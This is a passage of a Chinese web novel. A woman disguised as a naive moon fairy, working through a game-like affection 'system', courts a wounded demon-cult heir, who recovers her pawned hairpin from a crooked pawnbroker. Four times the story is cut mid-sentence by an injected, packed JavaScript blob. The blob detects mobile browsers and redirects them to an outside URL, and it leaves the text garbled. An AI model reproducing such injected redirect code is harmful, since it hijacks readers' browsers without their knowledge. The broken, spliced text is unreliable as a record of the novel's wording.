昨晚隔着夜色远远一见,已觉她生得很美,而此刻她就坐在他身前,温柔烂漫地冲他一笑,容色之胜,就连透过窗棂照在她身上的金色晨曦也要逊色三分。 她美得纤尘不染、莹润如玉,仿佛根本不属于尘世。 萧随星靠坐在竹榻上,虽然脸色仍有几分白,但体内真气运转时已经没有毒素发作时的剧痛,他有一瞬间的惊讶。 他体内数种剧毒叠加,毒性何等凶猛霸道,一旦发作,持续时间少则七、八天,多则一两个月,绝没有短短一晚便平复下来的可能。 而能做到这点的…… 他抬眼看向身前的少女,好奇般微笑道:“仙子姐姐,你不仅不勾我的魂,还收留我照顾我,你干什么对我这么好?让仙女替我煎药治病……我不会折寿吧?” 白衣少女被他逗得又是抿嘴一笑,她转口道:“叫什么仙子姐姐呀,我姓夏,你叫我桃桃就好……对了,你叫什么名字呀?” “我没有姓,单名一个‘星’字,仙子姐姐叫我小星就行。” 萧随星眉眼弯弯地说。 “都说了不用叫我仙女,叫别人发现了怎么办……” 白衣少女小声嘀咕,但她很快略过这茬,开始询问起他的身份,以及为什么会半夜出现在山里。 萧随星随口给自己杜撰了一个猎户的身份,只说自己是上山去打猎的。 这种谎言稍微有点常识的人都能识破,毕竟哪有猎户上山打猎不带武器的呢? 但就是这样随口胡诌的身份,小仙女竟丝毫没觉得有问题,毫不犹豫地相信了他。 只一件事,她觉得有点奇怪:“你体内的毒非常复杂……我从没见过这样的,不像是一种毒,反倒像是很多种毒药混杂起来的,即使是我,也只能压制它的毒性,短时间内清除不了……给你下毒的是什么人?非要至你于死地……他就这么恨你么?” “或许。” 萧随星漫不经心地敷衍她,他没回答这个问题,转而把话题引到了她身上。 眼前的小仙女实在天真,她丝毫没想过自己在他面前已暴露了太多,好像还以为自己能伪装成凡人似的,一开始还编了个蹩脚的说辞来应付他,半分不提自己的仙女身份。 但几句话聊下去,萧随星很快就找到了她话里的漏洞,比如为什么她说不出自己家在哪儿、比如她的白裙到底是用什么材质做的、比如她究竟用的什么药方来压制他体内的奇毒…… 小仙女解释不了这些问题,不到三个回合便败下阵来,最后只好垂头丧气地承认了自己的确不是凡人。 她说她是住在月宫里的小姮娥,今年不过三百岁,在神仙中还是非常小的年纪,所以天上的仙子姐姐们都十分关照她。 虽然她没有下过凡,但一直十分向往人间的生活,前几天终于抓到个机会,趁着姐姐们不在月宫,穿着羽衣偷偷飞了下来,落到了千山镇。 因为从未到过人世,她对凡间的事都不太了解,好在这座医馆的主人好心收留了她,并在去世前把医馆留给了她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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似乎是被他的沉默弄得有点不安,小姮娥收起了脸上的笑容,眼巴巴地望着他,忐忑地小声说:“怎、怎么了?有什么问题吗?小十七和外面的小兔子……有哪里长得不一样么?” “不是长相的问题。”萧随星瞥她一眼,懒懒道,“仙子姐姐,一般来说,我们人间的兔子是不会自己捣药的。” “啊?这样啊……”小姮娥有些忧愁地叹了口气,“连捣药都不会,人间的兔子也太笨了吧……还是我的小十七聪明!” 说完便抱过兔子,在它圆圆的脑袋上亲了一口。 她虽然是在嫌弃小兔子笨,可言语举止却十分可爱。 见她这样,萧随星越发觉得她想去混迹江湖纯属扯淡,就她这种毫无常识又不懂得掩饰自己身份的样子,如果没人保护,怕是还没走出千山镇,就被连人带兔子吃得渣都不剩了吧? 但是,这和他又有什么关系呢? 他平静而漠然地想。 4. 第四章 夏桃没有读心术。 但从他仅仅只有百分之十的好感度上,也能判断出萧随星对小仙女,并没有他表现出来得那么温柔友好。 也对,毕竟是杀起人来毫不手软的魔教少主,年纪轻轻武功就高绝至此,不说出身地位,他自身天赋就已称得上惊才绝艳。 这样的天之骄子,无论表现得再如何和煦,骨子里都心高气傲得很,连正眼看人的时候都少,更不可能像穷酸书生一样见到个仙女便走不动路,心心念念以为偷了羽衣仙女就会嫁给自己。 想让他倾心,恐怕不是什么容易的事。 但夏桃丝毫不慌。 因为身体缘故,还需要休养一段时日,萧随星便暂时在医馆住下了。 虽然她的攻略对象是他,但人都是犯贱的,能轻易得到的绝不会珍惜,夏桃才不会给他搞特殊待遇,让他觉得自己在她心里有多重要。 所以这几日,看他身体渐好,小姮娥便理直气壮地开始指使他帮忙干这干那。 萧随星倒也半分没有魔教中人的桀骜傲慢,让他干什么他就干什么,听话得很,大概也是因为她捡回了他的缘故,他对她似乎有种额外的纵容。 夏桃仍旧扮演着孤高皎洁的月宫姮娥形象,好像半分察觉不出他的真实身份似的,对他就像对待普通病人一样尽心尽力,但又不过于热情,保持着一个微妙的度。 不止是他,包括小镇上前来求医的其他病人,不论他们是贩夫走卒还是达官显贵,她通通一视同仁,绝不区别对待。 保证普通人有的那些“媚上欺下”“拜高踩低”之类的缺点,和她这个天真烂漫而又充满神性的姮娥毫无关系。 想装神女,可不能仅仅只是外表像,内里她也能装得叫人挑不出一点毛病。 她的努力是卓有成效的,不过短短几日,萧随星的好感度就零零碎碎涨了十点左右,看来她这个“温柔仁爱”的白衣仙女人设,在他心里应该是立得稳稳的了。 男人果然大多都庸俗,哪怕身处魔教,手上沾血无数,骨子里其实还是喜欢温柔善良的。 夏桃淡淡地想。 但是,不够。 仅仅是一视同仁的温柔不够,这点零零星星的好感度也不够。 她必须再下一剂猛药才行。 所以这几日,夏桃在外出采药的时候,一改以往满身素的穿搭,反而特意从系统包裹里挑拣了几支成色上佳的珠宝首饰戴在身上,又在行动时“不经意”地把它们显露出来。 果然很快,就有人盯上了她。 之后每次外出或回医馆的时候,夏桃总能碰到可怜人在街上乞讨,有时是腿脚不便的老婆婆,有时是眼盲的小孩子。 温柔善良的小仙女,当然不会对悲惨的凡人视而不见,每次遇到他们,夏桃都会慷慨解囊,撒钱如撒花,很快就把自己弄得十分拮据。 她甚至还在当铺典当了一支月桂玉簪,换来的几锭银子还没捂热,也被她全部赠予了那些人。 眼见她就快被骗成穷光蛋了,一向不喜欢多管闲事的萧随星终于看不下去了。 “仙子姐姐,劳烦问一下,你头上的那支玉簪呢?这几天我好像没怎么看见它。” “你说那支桂花簪吗?”小姮娥摸了摸发髻,老老实实地说,“我最近实在太缺钱了,就把它当了。” “当了?” “嗯嗯。”她点点头,“当铺老板真是个好人,他说我这簪子虽然不值什么钱,但看在我孤身一人可怜的份上,还是给了我五锭银子,让我以后如果缺钱,可以再拿首饰去找他。” “五锭银子?他就给了你五锭银子?”萧随星气笑了,“那你的银子呢?是失踪了么?” “没有失踪,我把它们送人了。”小姮娥掰着手指道,“第一锭银子给了一位乞讨的老婆婆,她无儿无女,年纪又大了,腿脚很不方便;第二锭银子给了个眼盲的小孩子,他父亲死得早,和母亲相依为命,家里穷得连饭都快吃不起了,实在可怜;第三锭银子给了一个青楼出身的姐姐,她说想给自己赎身,又没有足够的钱;第四锭银子给了一个少年,他家里没钱,父亲又死了,他想卖|身葬父,我把钱给他了并且拒绝了他卖|身给我的想法;第五锭银子给了一个小姑娘,她说她和家里吵架,负气离家出走,现在想回去了却没有盘缠,只能流浪,我就把银子给她了。” 萧随星一言不发地听她说,也不打断,只是等她说完后他才点了点头,笑眯眯地说:“仙子姐姐真是人美心善,运气也好,全天下的可怜人都在这短短几天里被你给遇上了。” 小姮娥像只小鹿似的睁圆了大眼睛,懵懂道:“你这是在夸我吗?我怎么觉得你在阴阳怪气呢?” “我当然是在夸你——夸你被卖了都还会帮人数钱。”萧随星歪了歪脑袋,戏谑道,“你就没想过你很可能是被人骗了么?千山镇虽然是个小地方,但泉州毕竟是富庶之地,短短几天从哪儿冒出这么多家破人亡流离失所的可怜人来?我看可怜是假,想要你的银子才是真。江湖骗子这么多,看你这么好骗,自然都冲着你来了,你的善心,只怕全肥了骗子的腰包。” 听了他的话,小姮娥慢慢低下头,好久都没有说话,她沉默的样子像一只可怜的垂耳兔。 萧随星顿了一下。 他突然想到,眼前的小仙子不过初到凡间,阅历尚浅,没见识过人心险恶,性情又天真单纯,对人对事都抱有最纯粹的善意,他这样直截了当地告诉她她的善心很可能被坏人利用了,对她来说大概是个伤害。 他忽然觉得自己好像做了件坏事。 总归仙女也不会缺钱花,她爱撒多少钱、有没有被骗都是她自己的事,说到底和他也没有什么关系……何必要把这些告诉她呢?就让她以为自己做了好事帮了这些可怜人不好么? 他这样多此一举,要是惹哭了她,最后还得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792656|158189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他自己想办法哄她开心,实在是吃力不讨好。 就在萧随星犹豫着要不要先说几句好话安慰她的时候,小姮娥突然抬起头:“可是……这样不是更好吗?” “什么?” 他眨了眨眼,一时有些错愕。 小姮娥望着他,认真地说:“其实你说的那些我都懂,我只是不曾下过凡,于许多事上不甚了了,但又不是真的笨蛋,怎么会没想过他们也许是骗子呢?早在把银子给他们的时候,我就已经想过这个可能了。可是,难道就因为那些可怜人里也许藏着骗子,我就要对受苦的人置之不理了吗?” “乞讨的人里可能有骗子,也可能有不是骗子的人,如果我因为害怕被骗,就拒绝帮助所有向我求助的人,那真正需要我帮助的人也很可能就被我拒绝掉了,这完全就是因小失大了!那些真正需要我帮助的人又该怎么办呢?他们向我求助,一定是抱有很大的期望,如果因为受到骗子连累而被我一同拒绝,那也太可怜了不是吗?” “金银财宝乃身外之物,就算我帮助的一百个人里,只有一个人是真的,那也是值得的,因为世上的可怜人又少了一个,而我损失的只是一些身外之物,一些身外之物就可以换我一天的好心情,这样算来,我也不亏啊!” 小姮娥认真地说,这一段话她说得又快又流畅,显然是发自肺腑,真正在心里思考过了,才能做到脱口而出。 听了她的话,萧随星许久都没再开口。 他收敛了笑意,也不再说话,只是用那双灿若星辰的眼眸静静地注视着她,他墨玉般的瞳仁中突然晕染出了些许古怪的神色,仿佛直到此时此刻,他才真正认识了她似的。 微风拂过,烛光摇曳,窗前火烛的红影碎在他如玉的侧脸上,在眼尾处拉出锋利而纤长的睫影,让他看起来几乎有种咄咄逼人的俊美。 不知怎么,被他这样看着,小姮娥突然觉得有点无措和羞赧:“干嘛这样看我呀?我知道我学问学得不够深……说不出什么了不起的大道理,我要是说错了什么,你纠正我就好了,不许嘲笑我。” “我怎么会嘲笑你?”萧随星道,“我是想向你道歉,之前不该在心里那样想你。” 她好奇:“道歉?为什么要道歉?你之前在心里怎么想我的?” “人傻钱多。” “你——!” 小姮娥气得脸颊生晕,随手捡起一本册子,直接朝他掷了过去。 却被他随手接住,用内力轻飘飘托回了原处,他笑吟吟地望着她:“好啦,是我错了,不该这样想你,你不是傻子,是全天下最漂亮最聪明最善良的仙女。仙女姐姐,原谅我吧?” 眼前的少年实在很会哄人,又长了张俊美如玉的好脸,被他这样一哄,她很快就不生气了:“哼,算你识相。” 耳畔突然响起了系统提示音。 【“萧随星”好感度+20%,目前好感度:40%。】 5. 第五章 碧水惊秋,黄云凝暮。 时光如白驹过隙,悄无声息地进入了深秋时节,厚厚的青苔爬上石板路,到处是打着旋儿飘落的枯枝黄叶。 秋雨淅淅沥沥下个不停,凉意透骨,就连行人都少了,街上一派凄冷萧索之意。 通济铺的吴掌柜悠闲地靠坐在太师椅上,他端起手边装着龙凤团茶的芙蓉白玉杯,慢条斯理地品了一口,随即便不由自主地发出一声赞许的喟叹,只觉茶香凛冽,滋鲜味醇,在深秋来上一杯这样的好茶,真是快活极了。 龙凤团茶是前朝贡茶,专门进贡给皇帝用的茶。虽然民间也有流通,但价格非常高昂,甚至就算有钱,没点门路的人也买不到这种茶。 吴掌柜作为一个当铺老板,却能用芙蓉白玉杯、喝龙凤团茶,自然也不是一个普通的当铺老板。 吴掌柜此前在南北两大镖局之一的震北镖局当镖头,功夫极高,地位也不低,后来在江湖纷争中受了伤,便就此隐退,到千山镇做了一名当铺老板。 虽然已经隐退江湖,但他和震北镖局还保持着紧密的联系,有些镖局里不便出手的物品,都会经他秘密转手,而他也为镖局私揽过不少宝物,这些宝物无形中增加了他在镖局的地位和影响力。 背后既有这条门路,那么只要是吴掌柜看上的东西,不计什么手段他用要弄到手里。 因为这样被他暗地里害得家破人亡的也不在少数,但那些人都太蠢了,参不透背后的玄机,也发现不了他和震北镖局的联系,甚至还要反过来感谢他伸手相助呢。 近日吴掌柜心情很好,就连凄凉的街景也半分影响不到他的好心情。 他从柜子中抽出一匣木盒,轻轻打开,看见里面的桂花玉簪还好好地待在原处,这才放下心,又一次仔细地欣赏起这支簪子来。 这支桂花玉簪是前不久他从一个少女手中得来的。 那名女子似乎是位深闺小姐,一袭白衣,头戴帷幔,让人看不见她的容貌,言行举止间也有种说不出的天真,仿佛许久不曾涉足人世。 可她出手的这支桂花玉簪却极其精美,无论材质工艺都挑不出毛病,更为奇特的是,这支桂花玉簪明明并未镶嵌夜明珠,但是到了晚上,它竟然会暗自发光,光芒明亮而皎洁,仿佛有月色在玉簪中流淌,美轮美奂,摄人心魄。 这样的物件,即便是见多识广的吴掌柜此前也从未见过,所以他一眼就意识到了这是多么价值连城的珍宝。 好在桂花玉簪的主人并没意识到这根簪子有多珍贵,吴掌柜只是借口簪子并不值钱就把她糊弄了过去,最后用五锭银子打发了她。 玉簪是到手了,可怎么发挥它的最大价值又成了问题。 想卖个高价也很简单,几日后有场拍卖会在泉州举办,他大可以直接把这支玉簪带去,以它的成色,最后的成交额绝对不会低。 但吴掌柜做了这么多年当铺老板,该享受的都享受过了,追求财富到了最后就该追求权力和地位了。 吴掌柜没有儿子,只有一个侄子在震北镖局当镖师,他侄子的武功没他好,但却能说会道,又长了张讨女人喜欢的好脸,镖局总镖头的宝贝女儿很喜欢他这张脸,连带着也很喜欢他侄子这个人。 如果他侄子能娶到总镖头的女儿,还愁今后不能青云直上吗? 只是总镖头对这件事的态度着实有些暧昧,吴掌柜有点拿不准主意,但还是决定把这支桂花玉簪交给侄子,让他拿去哄女孩开心,让她多缠磨缠磨自己父亲,说不定这桩婚事就这样定下来了。 正当吴掌柜美美盘算的时候,门帘突然被人撩起,一道人影走了进来。 来人是个一袭黑衣的少年郎,他生得十分俊美,看起来气度不凡,但做当铺生意的眼光何等老辣,吴掌柜一眼就看出这个少年身上的衣物材质普通,并不值什么钱,当即对他家世的估计便轻了三分。 心里虽然是这样想的,但吴掌柜面上却丝毫不露,只是呵呵笑道:“天色已晚,小店今日不做生意了,有什么事客人明日再来吧。” “我只是来赎件东西,赎完就走,耽误不了掌柜你多少时间。”黑衣少年微笑道,他把手中的东西放在柜台上,“掌柜你看看,这个值五锭银子么?” 吴掌柜低头凝神望去,出现在他面前的是个金缮玉冠,玉石白腻如羊脂,质地温润,毫无瑕疵,是名贵的和田玉,白玉上的金缮图案精致瑰丽,显然是材质工艺都极佳的珍品。 眼前少年穿着朴素,可一出手便是这样的大手笔,言辞间也并无初入江湖的生涩稚气,吴掌柜有些摸不清他的身份,一时不敢糊弄得太狠。 他思索片刻后,笑道:“客人说笑了,这样的珍品,不要说五锭银子了,便是金子也是值的。听客人所言,是想用这顶玉冠赎回什么物件?” “不错。”黑衣少年道,“前几日,有位姑娘在掌柜你这里用一支玉簪当了五锭银子,今日我想将她所当之物赎回,这顶玉冠就当是抵那五锭银子的。” 见他是冲那支桂花玉簪而来,吴掌柜微微变了脸色,但他反应极快,立时便笑道:“不是我不想把玉簪还给客人,只是客人来得有些不巧,昨日有贵客上门,恰好看中了那支桂花玉簪,如今那簪子已归其所有了。” 少年也不知信没信他的说辞,只是似笑非笑地望着他:“出典人典卖物品,通常会约定一个典期,若典期届满还未用钱财赎回,当铺才能自行处理,这是当铺做生意的规矩。如今那支桂花玉簪才典当了多久,吴掌柜便把它转手卖了?” “这……是在下考虑不周。”吴掌柜讪讪道,“只是已转手卖给别人的东西,我们也没办法再要回来啊。不过在下这里还有别的簪子,虽然比不上那支玉簪名贵,但也别具一格,客人不如挑一挑,看有没有合心意的?” “吴掌柜,你到底是把自己当傻子还是把我当傻子,以为说这种谎话就能糊弄得过去?”他脸色骤然冷了下来,“把东西交出来,别敬酒不吃吃罚酒,我知道簪子在你这里。” 吴掌柜脸色也沉了下来。 他在江湖中沉浮多年,年轻时走南闯北,后来也做了多年生意,虽然受过伤,但自身功夫也不俗,又有震北镖局在背后做靠山,走到哪儿都是受人尊敬的对象,还从没被人这样步步紧逼过。 更何况对方还是个年纪轻轻的少年,对他说话却如此不客气,他顿觉有些被冒犯到了。 郁怒之下,吴掌柜也不再想着会不会得罪人了,当即便冷笑了起来:“客人好大的口气,做生意最是讲究公平,一手交钱一手交货,我既付了银子,那支玉簪自然也就归我所有。莫说我已将它卖给了别的客人,就即便它还在我手上,也万万没有客人一开口,我就必须把它还给你的道理。客人这般行事,和强抢又有什么区别?” “‘强抢’?吴掌柜真是说笑了。”黑衣少年道,“那位姑娘天真不谙世事,于俗物上一窍不通,所以看不出玉簪的价值,难道吴老板你也天真不谙世事,看不出玉簪的价值?你扪心自问,那支玉簪难道就值五锭银子?你用五锭银子占了这么大一个便宜,现在来和我谈什么‘公平’?” 吴掌柜还想狡辩,黑衣少年却突然厌烦般叹息了一声。 当铺中灯火幽微,他这叹息简直就像是恶鬼吹出的一口气,刺骨的寒意瞬间侵袭了吴掌柜的全身,他突然闭上了嘴,一动不动地站在原地,一个字也不敢多说。 因为一把锋利的小刀正横在他的脖子上,刀刃贴着他皮肤的纹理陷入其中。 浅浅的血线顺着刀尖汇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792657|158189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聚,良久,一颗血珠“啪嗒”一声滴落在地。 他毫不怀疑只要自己再多说一个字,这把刀就会割开他的喉咙。 而他甚至都没看清眼前的少年是怎么出手的。 冷汗悄无声息地浸湿了吴掌柜的后背。 “吴掌柜你运气实在不错,如果你遇到的是之前的我,现在多半已经是死人了。不过我最近心情好,不想随便杀人。”恶鬼微笑道,“我再最后问一次,簪子在哪儿?” 这一次,吴掌柜不敢再耍花腔,老老实实地抬起一只手,指了指藏在角落里的木匣。 少年拿过木匣,打开看了一下,确认里面就是他要找的东西后,这才松开钳制住吴掌柜的手。 他把玩了一下手中的金缮玉冠,随即把它放在柜台上:“她当了五锭银子,我也不占你便宜,这顶玉冠送你了。” 吴掌柜自然看得出,这顶金缮玉冠的价值远超过自己此前给出的银子,只是眼见那支价值连城的玉簪被夺走,他整颗心都在 滴血,哪里还顾得上这个呢? 他又气又怕,既不敢反抗又不想忍气吞声,只能恨声道:“阁下有如此功夫,想必平日行走江湖也是一名英雄豪杰,如今却欺压到我一良民头上来,如此作为,难道就不觉得羞愧吗?!” “欺压?”他惊讶地挑了下眉,“吴掌柜此前仗着有震北镖局撑腰,横行霸道欺压弱小的事也没少做,你这张老脸尚且没红一下,我有什么好羞愧的?” 吴掌柜没料到他打探清了自己的背景还敢如此不驯,一时惊疑不定,只是仍强作镇定,大笑道:“好好好,果然是年少气盛!阁下既然知道我的背后是震北镖局,难道就没想过得罪震北镖局会是什么后果吗?” “后果?能有什么后果?”黑衣少年面无表情,“庙小妖风大,池浅王八多,一群王八得罪了就得罪了,王八难道还能把我怎么样?” 他明明用的是最平淡的语气,内容却只能用狂妄至极来形容,震北镖局作为南北两大镖局之一,几乎垄断了整个北方的商道,威名远扬,谁敢用“一群王八”来代指震北镖局? 他这番“王八论”,只要稍有些血性的人都不可能忍得下去,吴掌柜更是被激得血气上涌,冷笑连连:“震北镖局威服四海,镖师们到哪里都是人人尊敬的英雄人物!怎么落在你嘴里反倒成了一文不名的‘王八’了?若震北镖局都算是‘王八池’,也不知阁下这条‘真龙’是在哪里高就?” 黑衣少年没有回答,似是懒得再在这个问题上纠缠。 见他转身想走,吴掌柜阴恻恻地说:“阁下不想回答也不要紧,你拿了玉簪自然可以一走了之,从此天高海阔,我们很难再找得到你,可那位姑娘还要在千山镇生活,阁下就不怕自己的所作所为连累到她么?” 黑衣少年停下了步伐,他微微侧了侧头,似乎并没有生气,只是从身上取下一块刻有图案的木笺放到吴掌柜面前,微笑道:“你这倒是提醒我了。寻仇也好,夺宝也好,都尽可冲着我来,我心情好,也许会饶你们一命。但如果有人不长眼,对旁人起了歪心思,想使些下作手段或借此报复,那你们现在就可以开始给自己准备棺材了。” 吴掌柜激他本就是为了知晓他的身份,如今目的达成,也就不在乎他放了什么狠话。 可当他低头看清眼前这张木笺时,脸色却骤然白了下来,他的手微微颤抖了起来,甚至就连呼吸都有一瞬间的停滞。 木笺上刻着一个宛如北斗七星般的图案,吴掌柜此前闯荡江湖多年,当然不会不认得这个图案。 这是“七星教”的标志。 江湖中很少会说起“七星教”的大名,因为相比这个“小众”的教名,众人更习惯称呼它为—— 魔教。 6. 第六章 萧随星在背后做了什么,天真单纯的小仙女当然不会知道。 她正在和他讲千山镇最近发生的一件“大事”,这也是她从隔壁卖炊饼的大娘那里听来的。 说是此前千山镇附近来了一窝骗子,整日靠招摇撞骗敛财,骗得不少好心人家破人亡,但因为他们擅长隐匿踪迹,所以一直没被抓住。 可前几日,不知道是哪位好心的神秘侠士出手了,骗子窝被捣毁得干干净净不说,骗子也被抓去了官府。他们敛来的不义之财,全都像长了翅膀似的莫名出现在了受害者家中,其中自然也包括她前几日被骗走的银子。 “真是谢谢那位善良的好心人,这样一来,以后再做好事,就不用担心上当受骗了!” 小姮娥高兴地说。 刚说完高兴的事,她又想起了不高兴的事,横眉瞪他:“话又说回来……这几日小星你怎么总是不在医馆?你是不是趁我不注意,溜出去偷懒了?” “我只是去小镇上随便走走,顺便拿了点东西,绝对没有要偷懒的意思。” 萧随星懒懒散散地说。 “什么东西?” 他冲她狡黠一笑:“凑过来一点,我悄悄告诉你。” 小姮娥好奇心重,听他这样说,还以为是什么了不得的玩意儿,连忙凑了过去,眨着大眼睛期待地望着他,却突然觉得脑袋微微一沉,似乎有什么东西插在了她的发髻间。 身旁的铜镜正好照出她的身影,她抬眼望去,发现出现在她发髻间的,是一支精致华美的桂花玉簪。 “咦?是我当掉的那支簪子!”小姮娥有些开心又有些惊讶,“它怎么会在你手上?” “当铺老板给我的。”萧随星笑眯眯地说,“他说反正这簪子也不值什么钱,看你孤身一人可怜,既然你喜欢,就把它还给你咯。” 却是半分不提他拿玉冠换了簪子的事。 小白兔在一旁看得目瞪口呆,疯狂Q她:【桃桃你这才是最顶级的空手套白狼吧!一通操作下来疯涨了几十好感度不说,银子玉簪绕了一圈居然还是回到了你手里!】 夏桃(轻咳一声):基础操作而已,淡定,都淡定。 他的话和当铺老板此前的说辞对得上,小姮娥自然不会怀疑,高高兴兴地收下了这支玉簪:“谢谢你把它带回来给我,那我就勉强原谅你这几天偷懒的事吧~不过明天开始你还是要陪我去山上采草药,然后下午我们去小湖划船,晚上我们去千味楼……” “仙子姐姐。” 萧随星突然开口,打断了正说得起兴的小姮娥。他静静地望着她,眼眸里似乎藏着什么说不清道不明的情绪。 “怎么啦小星?为什么突然叫我?”小仙女半分没有察觉到他的异常,只是歪了歪脑袋,有些不满地说,“还有我都说过了嘛,不要再叫我仙女姐姐了,叫我桃桃就好了呀。” 这一次,萧随星没有再故意促狭地坚持那个叫法,而是从善如流地改了称呼:“桃桃。” “这还差不多嘛。”小姮娥满意地点了点头,“我们都认识好几天了,大家也算是朋友了,说话不用那么客气!所以明天我们……” “我要走了。” 萧随星说。 小姮娥微微一愣。 他没等她回答,只是继续说:“我的身体已经好多了,接下来还有事要办,所以打算明天就离开千山镇。谢谢你的照顾,在医馆这几天我过得很开心,大概比过去十几年加起来还要开心。” “……你要离开了?”小姮娥有些无措,她傻乎乎地说,“你要去哪里?小星你是要去闯荡江湖么?我也想去闯荡江湖,你带我一起去好不好?” “不行。”萧随星果断拒绝了她,他笑吟吟地说,“我一个人闯荡江湖,还能勉强混个天下第一当当,可要是再加上你,我这天下第一的地位恐怕就保不住了。” “可你是猎户,猎户也能当天下第一吗?” 小姮娥不解。 他面不改色:“三百六十行,行行出状元,谁说猎户就不能当天下第一的?你不要歧视猎户。” 似乎是猜出了她接下来想说什么,他先一步截住了她的话头:“而且,你最好也不要想自己去闯荡江湖。” “为什么呀?” 她不服。 “不为什么。”萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792658|158189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随星说,“江湖不是什么好玩儿的地方,甚至远比你的想象更无趣得多,如果可以,你最好赶快回你来的地方。” “都说了我是偷偷溜出来的,没玩儿够之前,我是不会回去的。” 她小声嘀咕。 “那也随你。”萧随星道,“只要你别被人骗到回不了家就行。” 桃桃没有说话。 夏桃第一次觉得有些棘手。 明明萧随星对小姮娥的好感度不低,虽然可能还没喜欢上她,但百分之四十也算是略有些在意的地步了,可他好像真的打算明天就离开。 不知道他是准备去办什么事,但这件事的同行者里显然并不包括桃桃。 一旦让他离开,再想接近,就没有这次这么好的借口了。 而她刚才用“想和他一起闯荡江湖”这个理由已经被他拒绝了,如果再坚持,刻意的痕迹就太重了。 怎么办? 攻略还没完成,她现在该用什么理由,才能保证既不崩人设,又能让他打消立刻离开的念头? 夏桃脑海里急速闪过这几日发生过的事,到其中某一帧的时候,她突然福至心灵,有了主意。 小姮娥沉默了一会儿,似乎有些伤感,低声道:“你明天就要走啊?不能再多留几天吗?” “最后总是要离开的,多留一两天也没什么意思。” “谁说没意思?”小姮娥看着他,认真地反驳,“至少你多留几天的话,可以参加完我的婚宴再走啊!好歹我们也是朋友一场呢!” 萧随星:“???!!” “等等——什么婚宴?谁和谁的婚宴??” “我没告诉你吗?”小姮娥挠了挠脑袋,天真地说,“昨天有位王公子向我提亲,说他心悦我已久。我想起以前看过的话本,里面的侠士混迹江湖都少不了要有一段刻骨铭心的爱情,而我至今还没体验过这种感情,还不足以成为一名合格的侠士。所以我决定答应王公子的提亲,等成完亲再去混迹江湖。” “……” 萧随星闭了闭眼,他没有说话,只是身体很轻微地晃了晃,看起来仿佛要再一次毒发了。 7. 第七章 她这石破天惊般的一番话,直接把萧随星给弄沉默了。 萧随星:“是我的毒又发作了么?怎么好像出现幻听了,我听到你说你要和不知道从哪冒出来的癞蛤蟆成亲。” “嗯?”小姮娥疑惑,“那你的确是听错了,我说的是要和王公子成亲,不是和癞蛤蟆成亲哦。” “有区别吗?不都是让人两眼一黑的恐怖故事吗?” “有什么恐怖的?”小姮娥不解,“王公子是常胜武馆的弟子,武功不错,生得一表人才,又是泉州有名的富商,祖上好像还出过秀才,听说千山镇很多姑娘都想嫁给他……我觉得他这个人很不错呀!” 萧随星:“你是真的饿了。” 小姮娥不说话,只是瞅了他一会儿,像是突然明白了什么似的。 她恍然大悟道:“我知道了,你是不是嫉妒我?” 萧随星:“?” “你就是嫉妒我!”她肯定道,“你是嫉妒我有了情缘,会比你先一步成为大侠,所以才这样诋毁我的亲事对不对?” 萧随星:“…………” 当一件事的逻辑槽点太多以至于到处都是漏洞的时候,往往就会变得无懈可击。 人也是一样。 萧随星从未见过如她这样的女孩,与世隔绝的环境加上约等于没有的常识再加上她清奇的脑回路,最终造就了这样离谱的局面。 萧随星发现自己竟然很难通过讲道理去说服她,因为她会用她清奇的脑回路,把他拉到和她同一水平中,然后用她丰富的经验打败他。 夏桃当然不会真的想嫁给这位王公子,事实上,他不过是被她吸引而来的众多工具人之一。 这位王公子长得不错,家里经商也攒下了不菲的家底,看起来似乎是托付终身的理想人选,但夏桃知道他内里实打实的是个废物草包,还未正式娶妻就纳了不少小妾通房。 这种色欲熏心的人,夏桃甚至不用怎么费心攻略,只消对他说两句话,多笑一笑,再在风起时“不小心”露出一星半点的面容来,便轻而易举地俘获了他的心。 即使不露真容,仅凭身段和嗓音就有不少男人对她念念不忘、大献殷勤,更何况是加上脸这个武器。 惊鸿一瞥后,王公子就对她“情根深种”,恨不得立刻把她娶回家。 当然,他甜言蜜语海誓山盟说了一堆,可家里藏着的那些小妾通房却是提都没提。 